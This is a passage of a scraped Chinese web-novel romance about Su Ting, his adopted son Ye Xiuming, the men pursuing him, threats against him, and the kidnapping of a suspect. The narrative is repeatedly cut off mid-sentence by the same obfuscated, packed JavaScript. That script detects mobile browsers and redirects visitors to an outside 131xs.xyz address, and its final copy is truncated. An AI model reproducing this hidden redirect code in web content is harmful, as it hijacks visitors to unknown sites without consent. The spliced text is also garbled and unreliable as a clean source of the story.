苏廷不以为意地说:“跟他没关系,他喝多了就喝多了,你不觉得活该?” 叶修明:“是活该。” “那不就对了。” 苏廷摸摸他的脑袋,“快去刷牙,吃完饭我带你去学校。” “我能不去吗?想陪你去公司。”叶修明满腹酸楚地心想:苏小爸这辈子太不容易了,他应该好好陪陪他。 苏廷无奈地看着他:“我要用什么借口呢?” 叶修明:“小爸你看着来吧,都行。” 苏廷的办公楼在另一片CBD,这是他从顾见清事件后用贷的那笔巨款滚动着一点点落成的,当初那位放贷的银行经理还差点因为过松的审批而受牵连。 好在苏廷的商誉一向不错,提前就完成了这些商区的承租,也让那位经理免受责难。 叶修明紧跟着苏廷的步调 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16092364|178677||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 走到他所在的顶层,这层也只有苏廷的超大办公室,别无他人。 可令两人都没想到的是,电梯刚到这一层打开,他们就在正对着电梯的墙壁上看到了用红色油漆泼洒的“去死吧”三个大字。 叶修明旋即就用自己薄弱的身子挡在了苏廷的身前,满眼警惕地观察这层有没有蹊跷之处。 苏廷满不在乎地说:“没关系,修明,这些都是懦夫行径,他们真枪实干地动到我,才算真本事。” 叶修明忧虑道:“可他们既然能找到你的办公室,就有可能找到你本人……到时候……”就说不定了。 苏廷还是那副无所谓的样子,说:“生死有命,富贵在天。” “报警吧。”叶修明有点害怕地说。 苏廷觉得报警只会让事情更复杂,便说:“警察解决不了我的私事。” 叶修明茫然了,只觉得苏廷的心有点过于大了。 “你不打算让安保查查监控?”叶修明不依不饶地说。 苏廷只好应下:“好,你说了算。” 叶修明:“你在敷衍我,并不会真的查监控对不对?” 苏廷:“大人的心,小孩别读。” “我已经不是小孩了!”叶修明不够恭顺地说,也许真是让这血红大字整怕了。 苏廷长叹一声,“好,我答应你,不仅要查监控,还要找警察把这些人绳之以法。” 叶修明这才心满意足地牵起苏廷的手,走到他的办公室。叶修明还是觉得有哪里不对,说:“我大爸去哪了?” “第一,他才不是你什么大爸,第二……他不是大爸。” 苏廷承认,昨晚的表白让他布局井然的人生变得失去平衡,周叙白以一种闻所未闻的方式,快速鲸吞了他们之间长达十年的友谊。 叶修明:“小爸,你在感情里受过伤害吗?” 苏廷的心跳短暂地失了一拍,他怔愣地看了眼叶修明,恍惚间仿佛看到了周叙白在向自己质问。 你是不是还忘不了顾见清。 22.第22章 他怎么能忘了呢? 忘了顾见清,就是忘记沉暗的、来自过去的羞辱,那才叫刻骨的仇恨。 一旦顾见清回到国内,他一定会义不容辞地送上几笔教训。 苏廷回过神来,刚想用“大人的感情小孩别操心”那一套来敷衍过去,就让叶修明执着的眼神打消了这个念头。 他认真答道:“是非人的伤害。” 叶修明将这个问题止步于此,因为再问下去,无非又会扯到照片相关。 这伤疤他不想擅自揭去,苏廷会疼。 “我永远不会伤害你。”叶修明的微笑里有极淡的甜。 苏廷沉思良久才说:“‘永远’是个很虚无缥缈的词,别太早地下定义,好吗。” 曾经,顾见清也对他说过永远爱你。 可转身,他就抱着新欢,散布自己裸-露的照片。 * 到了期末考的时间,叶修明终于不得闲,没工夫在苏廷的身边绕来绕去,也让苏廷终于有机会将一件事问明白。 他在酒吧约见同汇银行的经理谢逢生,点了两杯尼格罗尼,橙皮的幽香顿时在二人之间蔓延开来。 谢逢生穿着与苏廷样式相仿的黑色大衣,连内搭的毛衣都差不多,他长着一副标志的东方神秘脸孔,眉峰陡峭如同石阶,下颌角锐利,整张脸有种冰雕感,冷峻而疏离。 若论性格,谢逢生是最像苏廷的。 苏廷开门见山地说:“我记得当初你给我批那笔贷款时,同期有人比我的资质、信誉都要好些。” 谢逢生颔首:“确实。” “所以,如果他能拿到这笔贷款的话,说不定就会拥有我现在的一切……那我就是那个偷窃别人人生的人。” 谢逢生同他碰了碰杯,含沙射影地说:“所以我还是掌握了不少权利。” “你也这么觉得。”苏廷意味难明地喝了小半杯酒,“能把他的名字告诉我吗。” 谢逢生目光淡薄而锐利地扫向苏廷,说:“这样有违我的职业道德。” 苏廷就没有再强求了,“既然你觉得道德高于一切,那就算了。” 谢逢生试探性地伸出手,在苏廷握着尼格罗尼的手腕上抚触了一下。 苏廷默默暗许了他的放纵,眼中孕育着阴沉的火花。 谢逢生:“不过,‘道德’这种东西,我从来都不屑于顾,以前是,现在也是。” “所以你告诉我他姓名的代价是?” “跟我约会一次。” 苏廷对这种追求已经驾轻就熟了,他心中虚空而疲倦地承受着一切,面上却非常灼热,有着奇异的矛盾。 “好,”苏廷说,“正好我最近学了不少新菜,可以带你尝尝。” 谢逢生慢条斯理地道:“那就明天去你家?” 苏廷“嗯”了一声。 第二天,苏廷送完叶修明就去超市采购食材,他这次要做Lasagna意式千层饼,别看最后的成品只有一烤盘,却要用到不少的材料。 做一次Lasagna至少要两个多小时,但苏廷却觉得这是笔很划算的生意—— 若能用一顿简餐就换来泼油漆的姓名,揪出这个潜在的威胁,叶修明就再也不用担心自己了。 苏廷在平底锅内倒入橄榄油,烧热后加入洋葱、西芹与胡萝卜,之后放入猪牛绞肉煎热,等焦黄后再翻动至另一面,倒上红酒煮沸,倒入番茄碎,再转到小火慢炖。 待肉酱做好后,他在烤盘内刷上橄榄油,将面皮、肉酱和奶酪依次放入,再循环几次组装好,直到烤盘被一层更厚的面皮封顶。 之后就是盖好锡纸,烘烤。 这是传统的博洛尼亚式做法,是苏廷在意大利旅游时被一位大厨亲自教的,这样做的Lasagna肉酱充满胶质,一刀切下去,剖面如地质断层般地清晰,有祖母级的治愈力量。 等到谢逢生带着瓶基安蒂红葡萄酒造访时,苏廷已将沙拉和千层饼都摆好盘,不动声色地引他进来。 谢逢生是第二次到苏廷家里,这次与上次似乎有明显的不同,他看着餐桌上做法繁复的千层饼,说:“你好像有哪里不一样了。” 苏廷施施然地给他拖开椅子,“快坐吧。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16101093|178677||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 谢逢生环顾着四周,突然在鞋柜处看到了几双小尺码的白鞋,不免想歪了,森然说:“你家里为什么有小男孩的鞋子?你……有那方面的嗜好吗?” 苏廷一愣,目光也随着谢逢生来到鞋柜,绝伦地一笑:“那是我儿子的鞋。” “你有儿子?” 苏廷悠闲道:“嗯,在大街上捡的。” 谢逢生:“还有这种事?他们家的大人呢?” “他是被遗弃的。”苏廷给他递上刀叉,“我们开动吧。” 谢逢生叉了块充满胶质和奶酪拉丝的千层饼到嘴里,无遮无拦地说:“我突然觉得,能跟你在一起的人肯定非常幸福。” 苏廷心说要不是我想知道泼漆的人是谁,谁会忍着不适吃着顿饭呢。 他这辈子都不会跟什么人在一起,这是毋庸置疑的。 哦不对,除了叶修明这个便宜儿子。 他们是被命运无情地捏到一起的。 “所以那个人的名字可以告诉我了吗?”苏廷问道。 谢逢生索价不菲:“除非你跟我在一起。” 苏廷放下刀叉,大气道:“那你是想在一起一次,还是几次?” 谢逢生的眼睛堕入阴郁:“不是这种,是让你的全身心都甘愿给我的那种。” “时限呢?” “一生。” 苏廷觉得“一生”比“永远”更荒唐。 世事悠悠,不过是与志不同道不合的人共醉一场,寒暖饥饱,谁人在乎? 苏廷干笑:“你别拿我说笑了。” 谢逢生道:“那时候你一穷二白,艳照满天飞,如果没有我,就不会有你的今天。” 确实没有。 但若把一生搭进去,苏廷还不如死在那个神秘人的手下。 “逢生,如果你稍微有点理智,就知道我最不喜欢被人胁迫。”苏廷望着这一桌的用心良苦,“可是你让我失望了。” 谢逢生如同一阵风,骤然刮到了苏廷的身前,他猛拉住苏廷的手,让他撞入怀中,无巧不巧,这时叶修明回来了。 “放开我小爸。” 23.第23章 叶修明怒目如刀,像是要把谢逢生活剐了,他硬生生地走近,把苏廷的手从他的桎梏里夺走,说:“谁让你拉我小爸的?” “小爸?你就是苏廷捡回来的儿子?” 叶修明:“是你爷爷我。” 苏廷心中憋笑,故意嗔道:“修明,别没礼貌。” 叶修明恹恹地看了苏廷一眼,“你还替他说话。” 谢逢生的眼神跋扈自恣:“毕竟我也不是外人。” “他是谁??”叶修明说,“苏小爸你的私生活是不是有点太混乱了。” 谢逢生“哦?”了一声。 叶修明:“对啊,先是我大爸,再是西餐厅那位,还有个温家二公子,再就是这位叔叔……还有送你吊坠那个,我的天啊……小爸你是想凑齐足球队吗。” 谢逢生一怔:“温家的……温言玉也在追你?” 叶修明大喇喇地说:“哪的话,什么叫追啊,我小爸跟他约会过好几次呢。” 苏廷不露声色地看他们反复过招,没想到叶修明小小年纪竟懂得借力打力的威能。 谢逢生撇了撇嘴,好像在说“算你们厉害”。 他说了声“打扰了”,就转身出门。 苏廷目送那个高大的身影离开后,折身问叶修明:“你怎么知道温言玉是温家的老二?” 叶修明的额角顿时出了点细汗,不得不打着哈哈:“这不是你说的吗。” 苏廷发誓自己从没给叶修明说过温言玉的事情。 算了,反正叶修明替他解决了眼下一大难题,至于细节什么的,本不该在乎。 他给叶修明切了块余温尚在的千层饼,给他放在眼前,问道:“今天考试怎么样。” “小儿科。” “这么自信。” “那是当然,我给你说,裴安考完差点哭了,说没见过那么难的选做题,不过我觉得还好,也就费了我几分钟的时间。”叶修明叉了块千层饼吃了,眼睛发着光,“真好吃啊,小爸,你怎么做什么都这么好吃。” 苏廷软声笑了起来,“还是你给面子。” “我能吃光两盘!”叶修明傻乎乎地吃了一口又一口,“比我妈做的好吃多了。” 苏廷愣了愣神,说:“你妈妈也会做千层饼吗。” 叶修明抿了抿嘴,咀嚼的速度放缓,似有所思地说:“可她是个糊涂包,总是忘记在千层饼里放奶酪,可是千层饼最精髓的东西就是奶酪了。” 叶修明沉沉地笑道:“然后她解释是因为我乳糖不耐受,可我耐受啊。” 苏廷是第一次听他讲这么多关于妈妈的事情,心如刀搅般的痛苦,似乎纵使他站在叶修明的位置,也无法完全将那种被随意丢弃的感觉抛到脑后。 所以瘦小如他,是怎么承受这么多的呢? “你好像跟这个叫裴安的走得很近。”苏廷试图让他转移注意力,忘记这些不好的回忆,“你很喜欢他吗。” 叶修明隐晦地看了他一眼,说:“喜欢,但不是那种喜欢。” 苏廷失笑,赶紧把烤盘里的千层饼都叉给他,“小小年纪,懂得不少。” 叶修明拍了拍苏廷送过来的手背,“够了小爸。” 苏廷一愣,觉得这动作他做得过于娴熟,应该是在酒桌上耳濡目染的,所以……一个家世背景还算上游的男孩,父母到底是出于什么目的将他抛弃的? 苏廷接受的死亡警告,真的与叶修明无关吗? 在某一瞬间,苏廷甚至在想就算是因叶修明而起的威胁,他也欣然接受,毕竟他的人生也可以一切为二了,一半是没有叶修明的混沌,另一半是拥有叶修明的清明。 他这辈子,也没得到过像叶修明这么好玩的馈赠。 “今天晚上,我还要谢谢你帮我解围,你可能不知道,在你来之前,这样的情况我疲于应对,能用的招数都用了,可还是收效甚微。” 苏廷打开谢逢生送的红酒,这种酒的强酸恰好能中和奶酪和肉酱和油腻,他转动着杯口快速醒酒,对叶修明说。 “那你喜欢他吗。”叶修明突然问道。 苏廷怔忡 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16105220|178677||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 地、深深地看了他一眼,“我这辈子都不会再喜欢谁了。” 叶修明好像哲人附体:“没准当你选择一个人去喜欢的时候,就没有这么多苦恼的问题。” 苏廷当晚睡得不够安稳,反复体味叶修明对他的劝告,他想,这么多年来,享受孤独一直是他的强项,但到底是不是他的偏爱呢? 难说。 也许他是时候不被困在过去了。 本以为这一晚会风平浪静地过去,不想后半夜苏廷被一阵虚浮的脚步声吵醒,他先是感到身侧的床榻软下去一层,再觉察出叶修明身上滚烫的体温。 苏廷被骤然吓了一跳。 他用手背测了下叶修明的热度,顿时揪紧了一颗心,慌乱之中打了一个人的电话。 周叙白来的时候苏廷正用毛巾给叶修明热敷,情况并没有任何好转,叶修明的肤色粉红,口中喃喃地嘟囔着呓语,看样子烧得不轻。 周叙白无可奈何地把叶修明半扶起身,给他用量杯喂了点橙色的药汁。 苏廷如临大敌地看着他:“你给他喂的是什么?” 周叙白把叶修明稳稳地放下:“退烧药。” 只见周叙白用额温枪测了叶修明的体温,有恃无恐地看着苏廷,说:“这才几天,孩子就让你养废了。” 苏廷心里的冤屈比喜马拉雅山还要高,没好气地抱着臂膀:“这是我的孩子,用不着你在这假惺惺的。” 隔了不到一分钟,周叙白再次测了叶修明的体温,只见温度渐消,悬着的心终于放了下来,他说:“他这个年纪的孩子发烧很正常,有时候只是对抗外面的病毒而已,今天是他们期末考吧,学校的人肯定多。” 他分析得头头是道,倒把新手爸爸苏廷给整不会了,苏廷问:“你怎么知道这么多。” “你忘了,我还有个妹妹,她小时候就是这样的。” 苏廷 “哦”了一声。 房间里的灯光昏黄,苏廷的睡衣被染上暖色的光晕,周叙白心神不定地看着他,说:“我还是想跟你在一起。” 24.第24章 如果周叙白的第二次表白在今晚之前,苏廷也许会二话不说就把他赶出去,可人活得就是些因缘际会,早一步晚一步的结局可能都天差地别。 苏廷不置可否地看着他,问道:“你喜欢我什么?那些艳照吗?” 周叙白冷凝着双眼,说:“是我高中毕业之后发现的,当时我去了外地读大学,每天都看不见你,觉得人生没意思极了。艳照……我从来没仔细看过,那是让你最难过的东西,我应该见一次就烧一次。” 苏廷的眼色顿时柔和下来。 “有时候我恨自己当初为什么没能留在金城,这样就不会让顾见清那个王八蛋趁虚而入,也不会有后面的故事,苏廷,我说我做错了,你能原谅我吗。” 苏廷歪着嘴,还是不置可否地笑了笑。 周叙白整个人都像是喝了二两,“我能抱抱你吗?” 苏廷没拒绝,也没怂恿,下一刻他就被周叙白宽大的胸膛箍在怀里,感受到了他暄热的温度。 “我只同意你回来上班,至于其他的,我们走一步看一步,行吗。” 苏廷不胜惘然地将下巴沉在周叙白的肩侧,拢在他腰间的手收紧了一些。 周叙白用鼻尖蹭着苏廷的鼻尖,手指悬在苏廷衣扣的半指处又蜷回,骤然抽回的手在墙面投下巨兽撤退时的残影。 叶修明此时的烧已经基本退了,他昏头昏脑地睁开眼,却看见周叙白跟苏廷搂抱在一起的剪影,他感觉自己就像站在了铰链上,向前一步就会被碾成肉泥。 看到苏廷跟周叙白抱在一起是奇异的,甚至是惊悚的。 原来他平时说的大爸小爸只是嘴上功夫,真到事实发生的时候,还是令人难以接受的。 所以人为什么会口是心非呢。 “你走之后,我办公室被人泼了油漆。”苏廷开口。 周叙白做出一个皮笑肉不笑的表情:“你秘书给我说了。” 苏廷觉得他语气有些异样,问道:“然后呢?还给你说了什么?” 周叙白:“下面这条不是秘书给我说的。你过了几天后,为什么要找谢逢生,是因为怀疑跟当初的放贷有关吗?” “你连我见谢逢生都知道?” “嗯,我还知道,你给他做了顿大餐。” 苏廷双颊滚烫:“你竟然跟踪我。” “我怕你出事。” 苏廷:“你太自大了。” “你也一样。”周叙白吞下一丝苦楚,说:“这么长时间,你都不打电话给我,叶修明出事才想起我,苏廷……你知不知道我很难过。” 苏廷缓缓垂下目光,从善如流地说:“不知道。” “不知道就对了,你就保持对别人的残忍吧。”周叙白的声音仿似呢喃细语一般,两人的鼻息靠得极近,只听苏廷气若游丝地低声道:“周叙白,这已经是我最后一次了。” 周叙白知道他什么意思,顾见清之后自己是唯一被接受的那位,也将是最后一个,他颤声道:“请你相信我。” 周叙白没有留宿,见叶修明体温恢复正常后就走了。 叶修明出了些虚汗,浑身黏腻,他故意等苏廷上床后,才颤巍巍地下床,苏廷起身问道:“你去干什么。” “洗澡啊小爸,我身上太难受了。” 看他实在虚弱,苏廷马上给他倒了杯水,说:“你先喝水,洗澡明天再说行吗?” 叶修明摇了摇头,只身朝主卧的洗手间走去。 苏廷无奈地走在他身后,先他一步给浴缸放了水,叶修明许是烧糊涂了,进门就开始不避讳地脱衣服,一件又一件,直到一-丝不-挂。 苏廷赶紧将头偏转过去。 叶修明轻嗤一声:“都是男的,你怕什么。” 苏廷:“可我是同性恋,应该避嫌。” “你还是我养父呢,洗个澡怕什么。” “那你先进去,我只给你洗后背,”苏廷捂着眼睛,“你也太没轻没重了。” 叶修明伸开胳膊,“小爸,我没力气抬脚进去。” 苏廷轻叹一声,错开眼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16111233|178677||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 睛,抱着光溜溜的叶修明进了浴缸。苏廷忙蹲到叶修明的身后,打湿毛巾后擦洗叶修明的后背。 这孩子背后的皮肤只有薄薄一层,肩胛骨犹如未张开的蝶翼,皮肤下的脊椎节节分明,在绷紧的凹陷处泛出瓷白冷光。 少年的骨相好像沙漠里的胡杨,嶙峋里藏着韧劲。 苏廷被勾出了一些难以形容的怜悯,目光之间的忧思似要带他沉入深海,他不无埋怨地对叶修明说:“以后你的饭量要加倍了。” 叶修明还是个初愈的状态,提到吃的难免有些犯恶心,所以他坚决说了声:“不要。” “那我每天都给你做好吃的。” 叶修明像在赌气一样,摇了摇头。 苏廷:“你是质疑我的厨艺还是质疑我的决心?” 叶修明:“等你跟大爸谈恋爱之后哪还有时间给我做饭。” 苏廷在他后背擦拭的手一顿,喉头上下移动了一下,说:“你刚才都听到了什么?” “什么都听到了,”叶修明猝然回头斜睨着苏廷:“你竟然在你的病儿子面前答应大爸。” 苏廷感到说什么都晚了,放出去的承诺就是泼出去的水,说:“是你口无遮拦,天天喊他大爸,我以为你没有芥蒂,心想就算找也要找个你喜欢的。” 几丝零散的发丝覆在叶修明苍白的面颊上,他幽幽地长叹一口气,说:“我确实不讨厌大爸。” 苏廷默然垂下脑袋,“我也仅仅是不讨厌你大爸而已。” “那就再等等?万一你以后遇到了真正喜欢的人,大爸就想甩都甩不掉了。” “修明,没想到你对待感情还挺成熟的。”苏廷说,“这点比我强,我会因为孤单而答应别人的追求,最后落得满盘皆输。” 叶修明转盼过来:“那是因为,他们都是错的人。” “可到底什么才是对的人呢?” “你在他面前不需要伪装,只需要做最真实的自己,还有……你永远不会担心失去他,因为他除了你之外,也一无所有。” 25.第25章 苏廷找了一圈身边的,却发现像叶修明所说的那种,甚至没有聊胜于无的这样一个人,顿时将心头将熄未熄的火苗捻碎了。 周叙白第二天还打算在办公室给他个早安吻,谁想到刚过了一晚,苏廷的态度就来了180度大转变,将他们昨天的对话完全抛置身后。 周叙白只好克制着自己的感情,知道这次又是没那条命了。 他递给苏廷一份文件:“这是交易所审核所涉及到的高管模拟演练清单,给财务总监和我的需要你过目,涉及到公司实控人需要掌握的要点,我也已经拿记号笔标黄了。” 苏廷接过文件,开始一目十行地浏览文件。 他突然抬头:“我看见走廊上的油漆被处理了,做得不错。” 周叙白轻叩了两声桌子,“中午想去吃什么?” 苏廷“唰”的一声将文件摔在桌上,一脸阴云密布:“上班时间,认真一点。” “中午陪我去吃饭,我就告诉你一件大事。” 苏廷的阴云没有减轻,反而更加浓厚了:“你不妨现在就告诉我,以免再次被人开掉。” 周叙白从喉中闷哼了一声,说:“我找温言玉向谢逢生施压,找到了当年跟你同批申请贷款的人。” “他叫什么名字?” “裴星遥。” 苏廷的脸色有一瞬的茫然,他翻转着手中的文件,说:“是他啊。” 周叙白一愣:“你认识?” “他是我的大学同学,跟我同年级同系,是我们那几年校奖学金的获得者,参加了不少大型企业的项目,若论前程,他一定会远超于我。” 苏廷难免有些伤感:“你是不是把他控制了?” 周叙白怪笑:“你是知道我的,对于你身边的危险分子,我一向都是这个态度。” 苏廷也没时间纠结周叙白为什么不跟他商量,即刻动身去西郊产业园区的蓝色仓库,这里把守着几个不常露面的保镖,都是苏廷的精兵强将。 天气浑浊不堪,暮霭覆天,笼罩着四野,西郊破废的产业园区静悄无声,只是一枚旧时代的勋章。 毫无用处。 苏廷和周叙白是中午才到的这里,周叙白打了一声响指后,敦厚的大门缓缓打开,发出老旧的声音。 裴星遥被人五花大绑,蜷缩在石灰地上,他的头发微长,深垂着,遮挡了大部分苍白的脸颊。 也不知到底是出于几分真心,苏廷立即下蹲,视线与他齐平,向周围的人大吼道:“给我剪刀!” 裴星遥明显被吓到了,颤颤巍巍地从湿漉漉的发丝之间分辨来人的面容。 由于缺水,他的嘴唇有些干裂,眼睛也不甚清明,以为眼前的苏廷是个幽魂,便道:“请问我是死了吗?” 苏廷立刻剪开绳索,给他松绑。 “裴星遥,你能不能先回答我几个问题?” 裴星遥的头发被苏廷拨开,露出平整而俊秀的脸,他笑着看了眼苏廷:“是你啊,苏廷,好久不见。” 苏廷一怔,好像忘了裴星遥还曾是他们的校草,这张脸足以震撼人心,一时间竟忘了开口提问。 还是周叙白先打破的僵局,他问道:“裴星遥,你是不是因为同汇银行当时没有批你的贷款而心生怨愤,恨上了跟你一样提出申请却不同命的苏廷。” 裴星遥唇间带笑,面生桃花,说:“我不是那种人。” “那苏廷办公区的油漆不是你泼的?” 裴星遥摇了摇头,“我最近这段时间都在龙城出差,有同行的秘书给我作证。” 周叙白不解地问道:“你为什么不恨苏廷?不觉得他偷走了你的人生吗。” “我公司的规模虽然不能跟苏廷相提并论,但也能自给自足。何况就算我能拿到那笔巨额贷款,就一定能做得比苏廷更好吗?我看并不见得……” 这人倒还算豁达,苏廷心说,他定了定心神,问裴星遥说:“那我找人把你绑了来,你不觉得屈辱吗。” 裴星遥微微一笑:“如果能消除误会,手段极端点也无伤大雅。” “真不是你做的。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16120971|178677||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 裴星遥的面色含笑,“确实不是我。” 周叙白刚想再面目不善地威胁点什么,就让苏廷用手按了下来,只听苏廷问裴星遥:“你肚子饿了吗?” 周叙白看出来这件事的方向发展得有点诡异了,遂叫道:“苏廷,他说不是他就不是他了吗?你什么时候这么容易听信别人说话了??” 苏廷没理他,兀自扶裴星遥起来,说道:“周叙白,你够了。” 周叙白还是没能拦住他们到金城大学附近去叙旧,本来想跟着,也让苏廷的一个狠戾的眼神劝退了。 这次苏廷难得选了家狭小的烧烤店吃饭,他端着餐盘与裴星遥在自选区挑选,开口问道:“你是三班的?” “你怎么记得的。”裴星遥一口气拿了十几串吊龙,“我读书的时候很低调的,几乎没人记得我在哪个班。” “你?低调?”苏廷选了些看起来更干净的素菜,“如果连你都低调了,那我可就是透明人。” 裴星遥笑道:“当初你跟顾师兄在一起,就算想透明也透明不了。” 苏廷一怔:“你知道我们的事。” “全校都知道吧,听说系主任还疯狂堵柜门,奈何顾师兄就是不听,就算拿不到学分也要让你俩的感情光明正大的。” “只可惜……”他深深地看了眼苏廷,“人心叵测,世事也难料。” 苏廷如同一位冷面判官,冷眼看了裴星遥一眼,“后面的事情你也知道?” 裴星遥:“那件事情的影响太大了,就算我不想看到,也总有人翻出来给我看。” 苏廷苦笑:“那你喜欢你看到的吗?” 裴星遥举止迟疑地关上冷藏柜的门,眼神空漠地道:“单论曝光照片的行为,我并不喜欢,觉得龌龊至极;不过就照片而言,我说是极品你会不会打我。” 苏廷把选好的串递给老板,烤炉顿时发出“滋啦”的响声,听起来活像苏廷那被火烤的青葱时光。 直到这束火将他锻造得更加强大。 “你也喜欢男人吗。” 26.第26章 裴星遥愣了愣,明显是被突如其来的问题搞晕了,他坐到低矮的凳子上后,苏廷便斜靠过来,在裴星遥这边拿纸巾和筷子,呼吸堪堪摩挲着裴星遥的肩臂,让人心里痒痒的。 苏廷给他满上啤酒,说:“我很久没喝啤酒了,你陪我多喝几瓶。” 裴星遥不禁笑出声来:“听起来你更像是个酒鬼。” 苏廷想起他在一楼存的那些好酒,不予置评地摸了摸侧脸:“其实,你还真说对了。” “这么多年,你还是不好过吧。”裴星遥的视线总是不由自主地落在苏廷的鼻子上,那里有个非常细小的鼻尖痣,不仔细看就只能略过了,就像他跟苏廷的大学时代,平行却永不相交。 苏廷不想瞒着,闷了一杯,说:“还过得去。” “我记得你上大课的时候总是躲在最后一排的角落里,很少说话,出现这样的事,肯定比杀了你还要难受。”裴星遥屏声静气地撸串,又蘸了很多辣酱才送入口中。 苏廷温润从容的脸上毫无涟漪,似乎这件事已经翻篇,“不说这些不愉快的事了,咱们好好吃饭,这家烧烤的味道十年都没变过,今天算是来对了。” 他给老板招了招手:“老板,再给我烤一份同样的,打包。” 裴星遥眉目一抬:“还没吃够?没吃够我可以继续陪你。” 苏廷:“不是,这是给儿子打包的,他啊,最大的爱好就是吃了。” 为防止裴星遥误会,他忙说:“我捡来的儿子。” 裴星遥觉得这件事有点离谱,感慨道:“现在还有人遗弃孩子,真是人心不古,他叫什么名字?” 苏廷:“叶修明。” “叶修明……”裴星遥嘴里嘟囔着这个名字足足有几遍,似乎在什么地方看到过,他十分认真地问道:“叶修明是金城出生的?” “我不知道,他不想说。”苏廷咬向多汁可口的烤排骨,心里的第一个念头是:叶修明不知道会有多喜欢吃这家的烤排骨。 “我的生意大部分都在龙城,好像在那里听说过这个名字,要不要我给你留意一下。”裴星遥说。 苏廷:“龙城……可是龙城那么远。”他父母的心也太狠了。 千方百计,不辞辛苦,也要横跨几百公里将他抛弃。 “那就……先谢谢你了。” 裴星遥替苏廷接过外卖包装袋,笑道:“想不想去学校走走。” 苏廷看了眼手里的袋子,说:“改天吧,我怕儿子等急了。” 裴星遥这才与苏廷在路口处分别。 到家后,苏廷拎着袋子到叶修明的房间晃了一圈后,叶修明就被浓郁的香味引到了餐桌,眼巴巴地看着苏廷揭下锡箔纸,给他递了串烤排骨。 叶修明两眼放光,慢悠悠地咀嚼这人间美味,正当他尾巴都要翘上天的时候,问道:“小爸,你怎么不吃。” 苏廷:“我吃过了。” “你跟谁吃的?周叙白吗?” 苏廷很诧异地盯着他:“怎么不叫大爸了?”他拿纸巾擦了擦叶修明油腻的嘴角,“不是跟他一起,是和我的老同学。” 叶修明“切”了一声,“难怪不吃西餐,非要吃烧烤。” “这可是我们校门口最好吃的烧烤了。”苏廷耐心地给他继续擦嘴,“你懂什么。” “所以,今天中午还是约会?”叶修明从嘴里剔出骨头,示意苏廷再给他拿张纸巾,苏廷照做了。 “也不算约会吧,我因为一些误会差点误伤了他,吃饭算给他赔不是。”苏廷说,想起中午那场啼笑皆非的审讯就觉得好笑。 “你能怎么误伤?难道又用高尔夫球杆打人?” 空气里出现了很长时间的凝滞。 叶修明忙用一串青椒挡着自己的脸,不敢与苏廷对视,而苏廷呢,反应了半天,最后才懵懵地明白过来:叶修明第一天逃学根本不是去吃烤肉,而是跟踪自己到了西郊。 “你那天都看到了什么?” 叶修明忙放下食物,奔逃至自己的房间,还把门反锁了。 苏廷的狠戾重赴眼底,重重地拍向叶修明的房门,让整个家 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 